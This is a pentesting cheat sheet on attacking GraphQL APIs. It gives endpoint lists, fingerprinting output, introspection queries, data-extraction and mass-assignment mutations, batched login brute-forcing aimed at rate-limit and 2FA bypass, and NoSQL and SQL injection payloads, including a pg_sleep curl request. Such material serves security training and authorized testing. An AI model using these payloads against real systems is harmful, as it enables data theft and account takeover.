GraphQL
GRAPHQL to JSON Body Converter is useful when using caido.
GraphQL is an open-source query language for APIs, and a server-side runtime for executing those queries with existing data. Developed by Facebook in 2012 and open-sourced in 2015, it provides a flexible and efficient alternative to traditional REST APIs by allowing clients to request exactly the data they need in a single network request.
Core Concepts
GraphQL operates around a strong type system defined by a schema, rather than fixed endpoints.
- Schema: The core of any GraphQL service is the schema, defined using the Schema Definition Language (SDL). It describes the available data types, fields, and relationships, acting as a contract between the client and the server.
- Queries: These are used by the client to fetch data (read-only operations), similar to
GETrequests in REST. A key feature is the ability to specify the exact shape and hierarchy of the required data, preventing over-fetching (receiving more data than needed) or under-fetching (requiring multiple requests to get all needed data). - Mutations: These are used to create, update, or delete data on the server, analogous to
POST,PUT,PATCH, andDELETErequests. - Subscriptions: These allow clients to receive real-time updates from the server when specific data changes, commonly implemented using WebSockets.
- Resolvers: On the server side, resolver functions are responsible for populating the data for each field in the schema, fetching it from various sources like databases, microservices, or other REST APIs.
Enumeration
Common GraphQL Endpoints
Most of the time GraphQL is located at the /graphql or /graphiql endpoint. A more complete list is available at danielmiessler/SecLists/graphql.txt.
/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php
Perform Server Fingerprinting
Link: https://github.com/dolevf/graphw00f
python3 main.py -f -t https://demo.hypergraphql.org:8484/graphql
+-------------------+
| graphw00f |
+-------------------+
*** ***
** ***
** **
+--------------+ +--------------+
| Node X | | Node Y |
+--------------+ +--------------+
*** ***
** **
** **
+------------+
| Node Z |
+------------+
graphw00f - v1.0.7
The fingerprinting tool for GraphQL
Dolev Farhi <dolev@lethalbit.com>
[*] Checking if GraphQL is available at https://demo.hypergraphql.org:8484/graphql...
[*] Found GraphQL...
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (HyperGraphQL)
[!] Attack Surface Matrix: https://github.com/dolevf/graphw00f/blob/main/docs/hypergraphql.md
[!] Technologies: Java
[!] Homepage: https://www.hypergraphql.org
[*] Completed.
Identify An Injection Point
example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}
Check if errors are visible.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Enumerate Database Schema via Introspection
BurpSuite or Caido can easily perform introspection for us.
Following Query is used for Introspection:
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
Enumerate supported all GraphQL types
We can identify all GraphQL types supported by the backend using the following query:
{
__schema {
types {
name
}
}
}
Enumerate the name of all of the type's fields
We can follow up and obtain the name of all of the type's fields with the following introspection query:
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
It should show us details we would expect from a user object, such as username and password, as well as their data types.
Enumerate Database Schema via Suggestions
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
{
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}
You can also try to bruteforce known keywords, field and type names using wordlists such as Escape-Technologies/graphql-wordlist when the schema of a GraphQL API is not accessible.
Enumerate Types Definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
List Path To Reach A Type
$ git clone https://gitlab.com/dee-see/graphql-path-enum
$ graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (query) -> Query (skills) -> Skill
Methodology
Extract Data
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
OR
{
user (username: "admin") {
username
password
id
}
}
The query had: username: "admin" which is a argument value.
Returns:
{
"data": {
"user": {
"username": "admin",
"password": "Adm1nP455w0rD591!",
"id": "1"
}
}
}
Extract Data Using Edges/Nodes
{
"query": "query {
teams{
total_count,edges{
node{
id,_id,about,handle,state
}
}
}
}"
}
Extract Data Using Projections
Don’t forget to escape the " inside the options.
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
Mutations
Just like REST APIs, GraphQL also provides a way to modify data using mutations.
Mutations are GraphQL queries that modify server data. They can be used to create new objects, update existing objects, or delete existing objects.
Identifying all mutations supported by the backend and their arguments
We will use the following introspection query:
query {
__schema {
mutationType {
name
fields {
name
args {
name
defaultValue
type {
...TypeRef
}
}
}
}
}
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
From the result, we can identify a mutation registerUser, presumably allowing us to create new users. The mutation requires a RegisterUserInput object as an input.
Query all fields of the RegisterUserInput object
We can query all fields of the RegisterUserInput object with the following introspection query to obtain all fields that we can use in the mutation:
{
__type(name: "RegisterUserInput") {
name
inputFields {
name
description
defaultValue
}
}
}
Run the mutation (registering a user)
mutation {
registerUser(input: {username: "rezydev", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "hello world"}) {
user {
username
password
msg
role
}
}
}
We can possibly perform attack similar to mass-assignment with mutation.
GraphQL Batching Attacks
Common scenario:
- Password Brute-force Amplification Scenario
- Rate Limit bypass
- 2FA bypassing
JSON List Based Batching
Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
POST /graphql HTTP/1.1
Host: XX.XX.XX.XX
Content-Length: XX
Content-Type: application/json
[
{
"query":"{user(username: \"admin\") {uuid}}"
},
{
"query":"{post(id: 1) {title}}"
}
]
Query Name Based Batching
{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}
Send the same mutation several times using aliases
mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}
Injections
SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
NOSQL Injection
Use $regex inside a search parameter.
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}
SQL Injection
Send a single quote ' inside a GraphQL parameter to trigger the SQL injection
{
bacon(id: "1'") {
id,
type,
price
}
}
Simple SQL injection inside a GraphQL field.
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27